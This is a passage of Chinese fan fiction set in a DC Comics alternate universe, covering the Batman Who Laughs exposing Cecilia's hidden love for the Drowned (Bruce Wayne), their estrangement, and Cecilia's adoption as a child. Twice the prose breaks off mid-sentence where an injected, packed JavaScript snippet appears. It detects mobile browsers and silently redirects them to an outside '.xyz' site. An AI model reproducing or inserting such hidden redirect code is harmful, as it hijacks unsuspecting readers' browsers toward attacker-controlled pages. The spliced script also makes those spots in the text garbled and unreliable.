狂笑之蝠:……他妈的,我受够这个全都是女同的世界了。我要走人,立刻,现在,马上。 6.因爱成病 狂笑之蝠话音落定后,万籁俱寂。 因为此时,他的身上还捆着真言套索。在这件神器的力量压制之下,他说不出半句假话。 可也正是在这片纯然的死寂中,有一个冷静的声音响起,如雪亮的闪电惊破厚重的雨云,将这几乎令人窒息的氛围碎了个干干净净: “但我们的确成功了。” 狂笑之蝠嘶声道:“这也算是成功?看看这个世界吧,在你们的伟业之碑下,到底躺了多少尸体?这些无所谓的牺牲在主世界里,甚至都不会存在,你们难道就真的不羡慕、不嫉妒那些人的幸福生活吗?!” 黑发绿眸的女子依然站在溺亡怨魂身后,但当她开口说话的时候,她便不再像一捧安静的白雪了。是近朱者赤近墨者黑的缘故吗?她这过分冷静的姿态,竟与溺亡怨魂有着十成十的相似: “如果会失败一千遍,我就再尝试一千遍;如果倒在丰碑下的尸体有一万具,那么我便是第一万零一名。” “如果命中注定要失败一百万次,我为什么不能用这一百万次的残渣,堆积起通往胜利的天梯?无非就是尝试的次数多了一点而已,我们试得起。” 塞西莉亚从容地分析着狂笑之蝠话语中的漏洞。 这对旁人来说,或许会很难,因为你真的无法从“人类生理范畴内最高智商的人”身上,分析出什么东西。但对塞西莉亚来说,这还真不是什么难事,因为她的学识、她的思考方式、甚至她的行为习惯,皆由蝙蝠女侠一手造就: “既然主世界如此光明、如此伟力,那我们为什么要去螳臂当车,响应你的号召,去做损人不利己的事情?” “说到底,其实就连你自己也无法保证,主世界毁灭后,他们能够把吸走的能量原封不动地还给我们。” 塞西莉亚望向狂笑之蝠的时候,狂笑之蝠那被小丑毒素侵蚀得有些神志不清了的大脑,竟然获得了短暂的清明: 在他陷入这无边无际的疯狂之前,在他失去理智和道德之前,在他亲手杀死无数战友和家人之前,他也曾在每一个夜晚、在每一面镜子里,见过这样的眼睛。 似乎永远冷静,永远理智,不会为任何事物动摇……啊啊,如此相似,相似到了令人作呕的地步! ——但这怎么可能呢? ——世界上不会存在两片一模一样的叶子,自然更不可能存在天生就相似的两个人。正如班杜拉的社会学习理论所阐述的那样,人会通过观察他人的行为及其后果,来获取知识、技能和行为模式。① ——要怎样细致入微的观察,才能把没有血缘关系的两个人,塑造得如此相似?要什么程度的感情,才能让一个人心甘情愿地成为另一个人的影子? 狂笑之蝠正在头脑风暴这两人的关系,遂沉默不语,没有反驳塞西莉亚的质疑,但这一行为已经很能说明问题了。 于是塞西莉亚一振真言套索,将狂笑之蝠拽倒在地,在人体与地面发出的沉闷碰撞声中,冷静地宣判: “你的煽动并非出于大义,只有疯狂与私心。” “外来者,你别想用花言巧语,诓骗我的主君去送死。” 换做以往,话都说到这个份上了,可以说把该说的已经全都说完了,接下来只会发生一件事,那就是溺亡怨魂抄起武器亲自把人给揍得七荤八素,让挨揍的人恨不得把肠子从喉咙里呕出来: 还敢再犯吗?不敢了是吧?很好,牢牢记住这一刻的感受,以后若敢再犯,可就不是挨一顿揍就能解决的事情了。 这套“先话疗再大棒”的组合非常好用,让所有哥谭的罪犯切身体会了一下,什么叫以德服人和武德服人。 ——当然,这两人之所以能形成如此默契无间的合作模式,最主要还是魔法侧的塞西莉亚哪怕师承自蝙蝠女侠,对体术的掌握也仅仅局限于“了解但不多”,没那个力气把人揍得半死不活,就好像你不能让哈利·■特和伏■魔戴上拳击手套互殴。 但这一刻,溺亡怨魂一反常态地,没有再配合塞西莉亚的后续动作。 塞西莉亚满怀疑惑地望向溺亡怨魂,但溺亡怨魂却不曾直视她,只定定望向狂笑之蝠,缓缓开口: “你说……主世界里的人,过着‘幸福的生活’。” 狂笑之蝠被塞西莉亚甩在地上后,也懒得挣扎起身了,就维持着这个姿势一边在地上滚来滚去一边放声高笑: “当然!美好的,幸福的,快乐的生活!” 他的一只眼睛已经被溺亡怨魂戳烂了,但狂笑之蝠却好像感受不到疼痛似的,依然在高声讴歌,他曾从世界的裂缝里,惊鸿一瞥之下见过的主世界的景象: “亚特兰蒂斯从来不曾野心勃勃,更不曾进攻陆地,在海王和他的王后的统治下欣欣向荣;正义联盟自成立后便坚不可摧,没有任何人战死,就算有,也可以通过种种方式复活。” “金钱?地位?名利?不不不,韦恩女士,我们都知道,对我们这些‘韦恩’来说,这是世界上最容易获得的东西了,比空气和水还常见。我们只要随手一捞,就可以取得世界上99%的人一辈子也无法积攒起来的财富。” 鲜血和着话语一同涌流,狂笑之蝠笃定,这幅图景足以打动任何一个蝙蝠侠: “我要说的是,主世界的‘我们’,有着完整的家庭和爱!” “你不必担心被怀疑,因为你的队友们会无条件地信任你和依赖你;你永远不会孤独,因为被你收养和训练起来的孩子们会永远簇拥在你身边;你在黑暗里的牺牲与贡献,也会被大众所知和赞美;你甚至不必担心你的理想落空,因为你的继承者们无不循着你的志向与道路——世界上还有比这更美好的事情吗?哪怕在天堂里,也不过如此了吧?!” 这的确是很美好的景象。 或者说,狂笑之蝠描绘出来的图景,不仅对蝙蝠侠来说,是美好的,对绝大多数正常人来说,都是毕生所求: 家庭和美,衣食无忧,荣耀加身,饱受爱戴,理想实现……这些在黑暗的世界里永远不能实现,或者要付出成千上万倍的代价才能得到的东西,在主世界里,竟如此唾手可得。 可溺亡怨魂却没再多问半点和自己息息相关的事情,转而问道: “那么,塞西莉亚呢?” “在光明的主世界里,她过得好么?” 狂笑之蝠滔滔不绝的夸耀戛然而止。 因为之前那个又天才又恶毒的想法,在溺亡怨魂问出这句话的那一刻,再度在他的脑海里膨胀起来了。 塞西莉亚刚想说“他说没在主世界里见过我”,就毛骨悚然地看见,狂笑之蝠把头扭转了过来,以一个“人类但凡这么干就绝对会当场咽气”的诡异角度,死死地盯着她,甚至还换了一种亲密得令人作呕的口吻,语气甜腻得仿佛能滴下蜜糖: “小塞西,你看,你的蝙蝠竟然这么关心你,她好爱你呀。” “感动吗?开心吗?你现在是不是应该跳起来扑进她怀里,给她一个充满爱的拥抱呢?恭喜两位新人牵手成功!如果这里是漫画,那么此处应该有一个彩色大跨页的感人拥吻!” 塞西莉亚本来应该轻描淡写地把这句话略过去的。 她曾与无数穷凶极恶的罪犯以命相搏,在亚特兰蒂斯来势汹汹登陆纽约港时,她自亚马逊岛学成归来,携风雷与烈火,站在万军之前阻击滔天巨浪,一步也不曾退让。她救过那么多的人也杀过那么多的人,什么场面没见过?这句恶意满满的话语,根本就不该让她有任何异常的反应。 但塞西莉亚已太久、太久没有与外人交谈过了。 人是社会性动物。在离群索居了太久后,在多年未曾与活人交谈过后,在陡然面对如此危机四伏的、充满陷阱的话语时,她的应对本领竟退化得近乎于无,使得她一时间都无法做出恰当的回应。 更何况,狂笑之蝠说中了她藏得最深的,最不愿意让别人知道的心事。 这一刻,塞西莉亚的窘迫与痛苦,甚至无法用言语形容,而这种痛苦甚至可以遍布全世界的人的人生,具有极高的普适性和共鸣性: 我们听说你喜欢她。别开玩笑了,我们是好朋友,而且她怎么可能看得上我呢?但她真的对你很好,我从来没见过她这么照顾人。别乱说,她都要结婚了。 我们觉得她喜欢你。别这样,也太恶心了吧!可是你们之间真的很暧昧啊?那我明天就和她保持距离。 你真的和她没有关系吗?没有啊,你们为什么会这么觉得,来,姐妹,她们在误会我们的关系,你说句话解释一下?看吧,我就说我们没关系。真的不要紧吗,她看起来都要碎了。 她知道你爱她吗?她应该知道吧,毕竟我们都互相陪伴这么多年了。她会接受你吗?肯定不会吧。那你会说吗?不,这是绝对不能挑明的事情,否则我们连朋友都做不成。 无数句不能传达的言语,无数个不能表露的眼神。碎在调侃里的真心,被掩埋在谎言里的爱。脆弱的,坚强的,易碎的,永恒的,伪装的,真实的,幸福的悲伤的悲伤的幸福的循环往复纠缠不休隐忍不发真真假假—— 痛苦如潮水般铺天盖地又无边无际。 于是到头来,塞西莉亚只能说出一句苍白的辩驳: “……与你无关。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15538697|170203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>但这句辩驳实在太无力了。 别说狂笑之蝠不会相信,就连溺亡怨魂都似乎想起了什么。 毕竟在塞西莉亚之前刚刚抵达哥谭的时候,溺亡怨魂就已经从她反常的沉默里,窥探到了某些东西的一角。 只不过她那时的若有所思,被狂笑之蝠引发的爆炸给打了个岔;可现在,曾被岔走的思维,又要以更危险的角度,搭回到名为“真相”的轨道上了。 被突如其来的爆炸和失控的魔法搅乱的水流,已渐渐平复了下来,一如既往地开始温柔涌动。 然而这一刻,本来应该习惯了水下生活的塞西莉亚,竟被这水流带得后退了半步,就好像她已经被痛苦和心虚抽空了所有的力气,连这点水流的力量也无法抗拒。 ——结果都到了这个份上了,塞西莉亚都在溺亡怨魂和狂笑之蝠若有所思的目光下,窘迫得恨不得原地挖个坑消失了,她手中的真言套索的力道,依然半点没有放松! 狂笑之蝠这辈子都没见过这么死心眼的忠诚下属。 但正是这样的人……正是这样忠诚的、正直的、冷静的、隐忍的人,毁灭起来才更有趣。 于是他缓缓地咧开了嘴。 不管哪个世界的蝙蝠侠,不管他们是男是女,面具之下藏着的,都是一副好皮囊,毕竟韦恩的这张脸,可是能经得住八卦报刊的轮番讨论和怼脸拍摄检验的。 但当你看着狂笑之蝠的那张扭曲的、怪诞的脸的时候,你甚至都感受不到“与人类对视”的正常感,只有一种正常人直面克苏鲁古神的毛骨悚然。 尤其是当他开怀大笑的时候,那几乎扯到耳根的鲜红嘴角与惨白利齿,更是与厉鬼无异: “韦恩女士,我送你个惊喜。” 溺亡怨魂冷笑道:“你有这么好心?” “那当然。”狂笑之蝠自吹自擂起来毫不害臊,毕竟这么有道德感的东西,早就被他和死去的父母一起扔在小巷子里了——对不起又讲了个地狱笑话,但狂笑之蝠真的很愿意用这种痛苦的笑话去折磨正常的蝙蝠侠,十分抱歉但死不悔改,事实上此人半点也没觉得抱歉,“毕竟从本质上来说,我们是同一个人嘛,那我想要照顾一下这个世界的自己,又有什么不可以?” “我的确没在任何一个主世界见过你的塞西莉亚,但这难道不是更巧了吗?既然主世界没有这个人,那把她偷渡过去,当她过上光明的生活,就更轻而易举了!” 他一瞬不瞬地盯着塞西莉亚,就像熊孩子看到了心爱却不能拥有的玩具,得不到就要毁灭,得到了也要在玩到厌倦后将其毁灭: “韦恩女士,你不如带她走吧,让她加入我的军队,和我们一起。” 溺亡怨魂断然道:“不可能——” “她定然要跟你一起!她不可能离开你!” 话音未落,狂笑之蝠身侧突然腾起大量烟雾,将他的身影遮盖了个严严实实,只有他得偿所愿、酣畅淋漓的狂笑在水中回荡: “因为她爱你,她无可救药、矢志不渝地爱着你!” 塞西莉亚瞳孔放大,飞速收紧真言套索,却未能成功,只收获了一捆混杂着砂石淤泥和贝壳的海草。而狂笑之蝠的话语仍然没能停止,从四面八方涌来,无孔不入: “你从门孔里伸进手来,她便因你而动了心。若你心软,便回头看她一眼,带她同去,因着她思爱成病!” 塞西莉亚的动作快,但溺亡怨魂的动作比她更快。 几乎在狂笑之蝠身边腾起烟雾的同一秒,她的三叉戟便脱手而出,直直朝着被烟雾笼罩在正中心的人的头部刺去。但凡狂笑之蝠没能成功脱离,这一击就要直接击碎他的头骨! 只可惜还是迟了。 百里之外的高楼上,动用了黑暗宇宙主宰者赐予的力量而得以脱身的狂笑之蝠,正心满意足地看向他刚刚离开的方向。 哪怕他看不到彼处的情景,可他也能想象得出,那里的氛围一定凝固得,仿佛要把海水都冻结成冰。 在感染了小丑毒素后,他的确已经疯狂了,很多时候也没有办法,再做到和以前的那个“蝙蝠侠”一样冷静思考。 但这不代表他变成了智障和蠢货。 更何况,在与塞西莉亚对视的那一刻,狂笑之蝠竟有了种“与以前的自己透过时光对视”的错觉,而在这种错觉的洗礼下,他聪明的头脑竟然又占据了一瞬的上风: 什么能杀死真心?什么能击溃忠诚?什么能让矢志不渝者缄默不言,什么能让冷定如冰雪者的内心,如烈焰一样焦灼沸腾? ——唯有这痛苦的、隐藏的、不敢大白于天日之下的爱。 7.离别 但狂笑之蝠只猜中了一部分。 自从被强行过了明路、挑破伪装后,塞西莉亚和布鲁茜之间的氛围,比狂笑之蝠预料过的最糟的情况还要糟: 她们已经不怎么跟对方说话了。 很难说是某一方觉得尴尬,还是某一方觉得“事已至此无话可说”,还是二者皆有,总之,狂笑之蝠成功用他的坏心办了更坏的事: 自从塞西莉亚来到哥谭,已经过去了将近一周。但在这七天的时间里,她们说的话甚至不超过五句,平均一下,每天说的话甚至都凑不到一个最小正整数。 更要命的是,就连这五句话里,还有相当一部分在讨论狂笑之蝠这根黄金搅屎棍——又麻烦又恶心,但还不能忽视: “塞西莉亚,你能感受到他逃去哪里了吗?” “抱歉,他身上有更加高纬的力量屏蔽了我的魔法。” “你想谈谈吗?” “……不想。” “如果你想谈谈的话,随时来找我。” ——然后就没了。 原本就一片死寂的哥谭,并没有因为它的内部多了一个活人,而变得热闹起来,甚至变得更冷、更幽静了。 罪犯们都死光了,阿卡姆监狱空荡荡得站在中心大喊一声,都能听见回音,于是“夜巡”这件几乎所有蝙蝠侠都要做的事情,自然也被束之高阁。 如果把时间倒退回十年前,塞西莉亚或许还能借着“剿灭亚特兰蒂斯残部”的借口外出。但眼下,整个地球都安静得宛如一潭死水,直接导致她的处境卡在了一个出也出不去、进也进不来的尴尬位置: 她没有能够光明正大离开的借口,但如果她想要留下来,就必须每天都接受这种钝刀子杀人的尴尬。 这些天来,塞西莉亚只要一看见溺亡怨魂,就不得不正视布鲁茜脸上的“我们需要谈谈”的严肃感和压迫感。 这种忧心忡忡的感觉太明显了。 虽说有面罩的遮挡,而溺亡怨魂也不是什么情绪外露的类型,换做别人,可能真看不出来,但塞西莉亚已经在布鲁茜的身边生活了满打满算二十年,可以说布鲁茜眨一下眼,塞西莉亚就知道她是要吃饭还是喝水。 可想而知,当布鲁茜摆出这个表情的时候,塞西莉亚最好不要过去听她说教。因为一过去,就必然要接受“你应该是太久没有和外人接触过了这才错把依赖当成爱情我建议你看开一些不要再执迷不悟”的蝙式心理辅导: 除去伤人之外,没有任何卵用。 别问,问就是塞西莉亚真的见过布鲁茜这么语重心长地跟她曾经的未婚夫说话。但他好歹还捞到了布鲁茜身边的伴侣预备役的位置,塞西莉亚却什么都得不到。 话又说回来,如果让塞西莉亚对布鲁茜视而不见,让她绕着布鲁茜走,直到这件尴尬得都能让她脚趾抓地抠出一座金字塔的事情淡化、过去,那必然要等上很久,才能顺利揭过;而这正是所有怀抱炽热的、不可诉诸言语的爱意的人,所最难忍受的事情: 我已经做好了不被接受的准备,我也没有要把我的非分之想说出口,但如果让我连见都不能见她一面,这惩罚是不是有点过重? 见也不是,不见也不是。于是在接下来的很长一段时间内,原本默契无间的两人,就这么不上不下、不冷不热地卡住了。 可喜可贺的是,这种微妙情况终于在一周后出现了转机。 因为一周之后,溺亡怨魂终于成功在韦恩庄园的大厅里,堵住了一看到她,就准备脚底抹油飞速溜走的塞西莉亚: “塞西莉亚,我有事情要拜托你。” 这真是很不容易的一件事。 毕竟以韦恩庄园的占地面积和两人的活动轨迹来看,想要逮住因为尴尬而愈发神出鬼没的塞西莉亚,其难度不亚于在两百平米的大床上找一根头发。 说到韦恩庄园,就不得不说“韦恩”这个姓氏本身的超高含金量。 这个家族在十八世纪,通过做皮毛生意积攒起了第一桶金,随后,韦恩兄弟以此为基础,创办了一家贸易公司,开始积累资本、扩张势力。随着财富的不断积累,兄弟中的其中一人,建立了一个小镇,这便是日后被称为“罪恶之都与繁华之城”的哥谭的前身。 随后,在数百年的发展历史中,韦恩家族通过将铁路、能源和航运等多个主心脉行业掌握在手中的方式,完成了垄断性财富积累,成功将商业版图扩张至社会各个领域,而哥谭这个小镇,也随着韦恩家族的扩张发展了起来。二者互相依托,最终融为一体,以至于今日——在洪水淹没世界之前的“今日”——哥谭市随处可见带有这个姓氏的各种产物,上到基金会和市政工程,下到电力系统和企业名称,这个家族横跨政治经济文化军事等多个领域,俨然已成为哥谭的代言人。 这已经不是简单的财阀了,这分明就是占城为王进行自治。 可想而知,能与这么个盘踞在哥谭数百年之久、屹立在权利巅峰顶端好几个世纪、金光闪闪的姓氏匹配的大宅,其占地面积有多大,又有多少构造奇妙的房间和乱七八糟的密道: 至少当年,五岁的塞西莉亚在第一次来到韦恩庄园的时候,就在自己的衣帽间里迷路了,险些上演真人版《纳尼亚传奇》。 在五岁之前,塞西莉亚和所有正常的小孩子一样,都有一个完整的家庭。 慈爱的母亲,严厉的父亲,不出彩但也不寒酸的公立学前班,一些普普通通的朋友。虽然她的家庭财政状况,因为要还房贷车贷、结清信用卡,以普通工薪阶层的收入来说只能勉强覆盖,因此日常用度略微有点紧张,但日子也不是不能过。 在塞西莉亚即将上小学之前,她的父母一人打了三份工,还去卖了血,为的就是把塞西莉亚送去据说更关注孩子的心理健康,师生相处氛围也更好的私立小学—— 然后就没有然后了。 一伙从哥谭流窜出来的匪徒,将深夜下班回家的夫妇俩的车恶意别停,随即一刀封喉,抢走了他们身上所有的钱财。 那时的塞西莉亚还在睡觉。她的口水在枕巾上洇湿一片,与此同时,在几英里开外,她父母的血也正从脖颈上的裂口汩汩涌出,打湿前襟。 塞西莉亚做梦也想不到,一觉起来,天都塌了。昨晚还吻了她的额头,对她说晚安,许诺明早给她做鸡蛋火腿三明治的父母,今天就已经变成了被放在惨白裹尸袋里的两具尸体。他们离开得太过惨烈也太过意外,甚至都没能给他们唯一的女儿留下只言片语。 小小的三口之家就这样一夜破碎,余下一个突然从屋檐下来到外界暴雨中的塞西莉亚,茫然、痛苦、无依无靠,不知何去何从。 没还完的房贷和车贷,肯定不能落在一个只有五岁的小孩子身上,资本主义再怎么吃人也不会吃这种毫无油水的嫩骨头,和良心无关,主要是不划算;但钱还是要结清的,那怎么办?那只好把房子和车子回收掉,以资抵债了。 至于被从家中赶出来的,这个一夜之间就失去了父母和家庭,眼下甚至连容身之所都没有了的小孩子,要被送去哪里?反正儿童福利机构那边的流程说,如果没有亲人收养,就送去寄养家庭;至于这套流程究竟能不能落实得如它被设计出来那样完美,没有人关心。 经儿童福利机构调取档案发现,塞西莉亚的父母亲缘淡薄,除去她的母亲那边,还有个多年未见的表哥之外,再没有第二个有血缘关系的人,能够收养塞西莉亚。 结果屋漏偏逢连夜雨。 在塞西莉亚和负责短暂监护她的儿童福利机构工作人员,大包小包风尘仆仆地抵达哥谭时,就被迎面而来的闪光灯照得当场来了个短暂失明。闪光灯补光灯车灯手电筒探照灯,各种光源连成一片,直接把夜间的飞机场映得宛如白昼,接连不断的快门声震耳欲聋: “韦恩小小姐,你知道你的抚养权发生了变更吗?” “这是你第一次来哥谭吧?感觉如何,和纽约有什么区别?” “韦恩大小姐还没结婚呢。她自己都只是个年轻人,你觉得她真的能好好照顾你吗?或者说,你之前有听说过她的传闻——任何传闻吗?” “听说你的亲生父母是死在哥谭的罪犯手中的,你会不会因此排斥这座城市?” 无孔不入的狗仔队的问题一个比一个尖锐,因为八卦的本质就是“以他人的痛苦为乐”。 更何况眼下,提供这个爆炸性新闻的,是新近失去了韦恩夫妇,只有一位未成年的大小姐作为顶梁柱,因此显得格外软弱可欺的哥谭顶级豪门—— 好大一块无主的肥肉!此时不欺,更待何时? 这些记者们蜂拥而上,抱着“不管问到什么都是我的年终奖”的赌徒心态,不断地逼问塞西莉亚,好像从她口里撬出来的,不是血泪,而是黄金。 护送塞西莉亚的工作人员哪里见过这种大场面。 她手忙脚乱地打开因为要坐飞机,所以开了飞行模式,接收不到任何外界信息的手机,这才后知后觉地发现了这条堪称爆炸性的新闻,不得不抱着塞西莉亚,一路拨开所有的镜头往前狂奔,一边努力安慰她: “……是这样的,塞西莉亚,原本应该收养你的舅舅突发恶疾去世了。” “根据他的遗嘱所说,他决定把一切财产都留给你。同时,因为他生前给韦恩家族当了几十年的管家,新近继承韦恩家族的大小姐念在这份情谊上,决定收养你……天哪,这就是‘韦恩’在哥谭的力量吗?所有的手续都已经办好了。” “不对,等等,她说要来接你——” 她话音未落,塞西莉亚就撞上了一堵柔软的、温热的墙,而不是刚刚她碰了无数次的坚硬机器。 下一秒,一双修长有力的手,将头晕眼花的塞西莉亚,从同样看起来面色不佳的工作人员手中接过,一个微微有些沙哑,却格外坚定有力的声音,自塞西莉亚的头顶响起: “好姑娘,多谢你把她带了过来。给你的五十万美元报酬,将会在明早九点,由韦恩公司的对外账户打到你的私人银行卡上。” “现在,把她交给我吧。” 这个怀抱里,有着浅淡的雪松香气。 彼时的塞西莉亚,还是个没见识过上流社会的普通小孩——更正,她对所谓“上流社会”的全部理解,就是在《灰■娘》和《白雪■主》之类的儿童特供童话绘本里,见到的闪闪发光的王冠与大摆蓬蓬裙。 她尚且不知道,这一缕香气有多么昂贵,说是一滴千金都不为过,只觉得分外好闻,便一边埋在来人的怀里,入了迷也似的嗅闻这股高级的香气,一边模模糊糊地心想,这就是“姐姐”的感觉吗?好可靠,好美丽。 说来也奇怪,之前如秃鹫追逐腐肉、鬣狗撕扯猎物般纠缠不休的记者们,在看到来人的身影后,竟然齐齐停下了脚步。 眨眼间,他们的话语变得温柔了,动作也变得有条理了,就连提问的问题都变得愈发客观而冷静。如果不是塞西莉亚亲眼所见,她万万想不到,只一秒钟都不到的功夫,这帮人的态度竟能有如此翻天覆地的变化: “韦恩大小姐,对于令尊令堂去世一事,我等深表哀悼……希望这位小小姐能够让您内心的疼痛缓解些许。顺便请问,您收养韦恩小小姐的时候,有没有考虑过日后的继承问题呢?” “我在哥谭大学就读的时候,曾有幸见过您的父母,那可真是一对优秀的人物啊。请问您对韦恩小小姐的未来有什么规划,是否也会让她和她的祖父祖母一样,走上从政的道路呢?” “说到底,您其实没有必要收养她,毕竟和她有血缘关系的,是您曾经的管家,而不是韦恩大小姐您本人。但您还是决定将这份情谊延续了下来,可见您真是一位重感情的好人啊!既然如此,韦恩集团在明年,是会延续今年定下的慈善事业方针,还是会加大在这一领域的投资占比?” 这是塞西莉亚平生第一次,直观地感受到什么叫“权力”。 毕竟在机场围堵还没来得及被接回家的小韦恩,是一码事;但要当着大一号的韦恩的面动手,明天自己全家就得因为“进门的时候先迈了左脚”而被开除,终身失业,靠卖血维生都卖不出去! 来者将塞西莉亚拢在怀中,甚至还把她往怀里塞了一把,好让记者们无法拍摄到塞西莉亚的正脸。 在见到这番动作后,之前热血上头以至于丢掉了脑子的记者们,才后知后觉地反应了过来,世界上还是存在着一系列与保护儿童权益及 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15538698|170203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相关的法律条文的,纷纷开始删除起塞西莉亚的照片来。 如果说之前的那个拥抱,让塞西莉亚感受到了失而复得的家人的感觉;那么这一刻,这个定海神针一样镇住大局的身影,终于让塞西莉亚重新获得了安全感,且这份安全感因为有着强权与金钱的加持,而前所未有地强烈。 她小心翼翼地从来者的胸前抬头,便对上了一双美丽的钢蓝色眼睛。 正如之前咄咄逼人的记者们所说,这位韦恩大小姐实在太年轻了。 她自己分明还是个十五六岁的少女,但眼下,当她怀抱着更年幼的塞西莉亚,站在众人面前,以毋庸置疑的、无可违抗的上位者与保护者的姿态,说出自己的决断时,漫漫数百人里,竟无半点声音,敢打断她的话语: “从此,她就是塞西莉亚·韦恩。” “我可以做她的姐妹,师长,朋友与母亲,我将让她享受最良好的教育,给她与我同等的义务与权力。” “以韦恩家的名誉起誓,我布鲁茜·韦恩,将立她为我的第一顺位继承人。凡我所有,皆与共享;凡我所得,悉数平分。” ——结果这两人在机场有多风光,回到韦恩大宅后,就有多狼狈。 倒也不是什么别的原因,主要是身高甚至还没有华丽大餐桌高的塞西莉亚,在足足有六扇门、八条过道、四个阳台、内外两个楼梯的,将近两百平米的衣帽间里,光荣地迷路了。 彼时的布鲁茜·韦恩,还没有完全变成日后那个不苟言笑得近乎冷酷的蝙蝠女侠。 在发现塞西莉亚回房间后,竟然半个小时都没能出来,布鲁茜心急如焚,当机立断地杀入了塞西莉亚的衣帽间,动作生猛得宛如霸王龙搭载阿姆斯特朗旋风喷射阿姆斯特朗炮原地弹射出去三百米。 毫不夸张地说,这一刻,在布鲁茜的脑海里,类似于“她被绑架了”“有人试图利用她威胁我”的猜测萌生了不下一百个。 于是,等布鲁茜见到了在这个堪称迷宫的衣帽间里,转得满头大汗的塞西莉亚的时候,一时间竟有种劫后余生的感觉。 她先是给塞西莉亚擦了汗,又哄了她一会,手牵着手把人送去浴室洗澡,免得塞西莉亚再度迷路,让在厨房待命许久的全新的厨师团队重新做饭,随后,年轻的韦恩大小姐咬牙切齿地拨通了市政电话,把“名胜古迹改造计划”报了上去: “我要改造韦恩大宅。啊,你问我原因?你没在家里给自家孩子装个滑梯和芭比公主的雕像之类的吗?” 工作人员:……不,这个真没有,毕竟不是谁都像你们韦恩这么有钱。 总之最后,经过布鲁茜改造的韦恩大宅焕然一新。除去翻新水电和增补家具之外,这个大宅里最靓丽的一道全新风景线,就是布鲁茜亲自排版决定加上的,“儿童防走丢措施”。 她用来寻找迷路的塞西莉亚的方法十分简单粗暴,此人直接在大宅中间安了个直上直下的电梯,并在电梯的外面贴满了贴纸: “迷路请沿此直达一楼。” ——有钱程度与有效程度成正比。你别管等塞西莉亚长大后,这个电梯还能不能用得上,有钱人不用考虑循环利用的这些无聊问题,只要当下用得上就好。 但她们谁都没能等到“拆除电梯”的这一天。 因为亚特兰蒂斯的进攻,在塞西莉亚十七岁那年抵达,所有的大宅整修计划和生日宴会都被迫终止。 不过这电梯没拆也有没拆的用处。 眼下,塞西莉亚在不想见到溺亡怨魂的时候,就可以顺着这条中空的通道游上去,回到自己的房间;但同样,只要溺亡怨魂真的想要逮住塞西莉亚,只要在电梯一楼的出入口那里放个摄像头守株待兔,就一定不会落空。 ——为什么能轻而易举地在两百平米的大床上,找到一根头发? ——因为这不是无足轻重的头发。这是她的肉中肉、骨中骨。 所有的痛苦,一旦牵扯上曾经幸福的回忆,那么这份痛苦就会变得暧昧不清,让人难以分辨本来就五花八门的感情的界限。 塞西莉亚眼下面临的,便是这种情况。 在看见守在早已失效多年的电梯旁边的溺亡怨魂后,塞西莉亚突然就失去了所有躲避的力气,却也没有直面她的勇气,最后也只能低下头来,避开溺亡怨魂的眼神,轻声道: “布鲁茜,你只管说。” “但凡是你交付给我的事情,我便会毫不犹豫地去完成。” 这句话就像是什么微妙的开关似的,一下子就把溺亡怨魂的话语堵在了喉头。 她定定地凝视了塞西莉亚一会。这一刻,哪怕是最不擅长察言观色的傻子,也能从这张被面具覆盖着的脸上,察觉到一点名为“为难”的意味: “……不是什么难事,塞西莉亚,你不要害怕。” 溺亡怨魂重重按了按塞西莉亚的肩膀,郑重得宛如女王加封她的骑士: “我只是想把‘死水’交给你。” “死水”,是自从布鲁茜对自己进行了人体改造后,利用所获得的特殊力量,组建起来的军队。里面百分之九十的人全都是溺亡者,剩下的百分之十是同样溺毙在洪水中的非人类生物。 可以说,这支军队就是布鲁茜能够掌控世界的,最有力的倚仗。 但眼下,她却要移交“死水”的所有权?这跟把自己的命送到别人手里有什么区别?连傻子都不会这么做! ——不,还有另外一种可能。 除非溺亡怨魂决定不再停留在这个世界。这样一来,无法被她带去另一个世界里的“死水”,对溺亡怨魂来说,就不再是必需品了。 既然如此,那这过时的权柄,自然要归还到有需要的人手中,才能发挥出它的最大价值。 塞西莉亚在最初的惊诧过后,很快就意识到了潜藏在这个“所有权转交”指令下的真正的含义,到底是什么。 但她依然不敢相信,不能接受,就好像所有人听到噩耗的第一反应,永远都是“这不可能”一样。 在这种恍惚感与难以置信感的催逼下,塞西莉亚艰难地开口,却只听得自己的声音轻得几乎难以察觉: “……你要扔下我吗,布鲁茜?” 8.憎恨 塞西莉亚这辈子,从来没长时间恨过什么人。 毕竟对有钱人来说,能用砸钱解决的问题都不算问题;而一个韦恩,最不缺的就是钱。 杀死她父母的那伙匪徒,早已在“塞西莉亚被韦恩家族收养”的新闻传出来的当天,就被抓捕归案。 他们是在哥谭之外的城市被抓的,哥谭本地的保护伞还没来得及将他们的手,伸到塞西莉亚所在的城市;后来,塞西莉亚又飞速被冠上了“韦恩”的姓氏,而这个姓氏的含金量足以动摇司法的根基,更何况促进一场只是基于法律基础上的、公正的审判呢? 后来,她在哥谭慢慢扎下根来,开始和布鲁茜一起生活。 寻常小孩会遇到的校园霸凌和歧视等种种问题,在塞西莉亚这里,连个影子都没有;能够把普通人折磨得欲/仙/欲/死的考试、绩点和升学,更是半点不会为难塞西莉亚——没有什么问题是捐一幢楼解决不了的,如果有,就再捐十幢。 唯一能让塞西莉亚偶尔有点阴暗情绪的,无非也就是哥谭过高的犯罪率,说是“天上掉下一块砖头来砸到十个人,其中六个人有违法犯罪记录三个人是在逃人员,还剩下一个人正在去犯罪的路上”一点都不夸张。 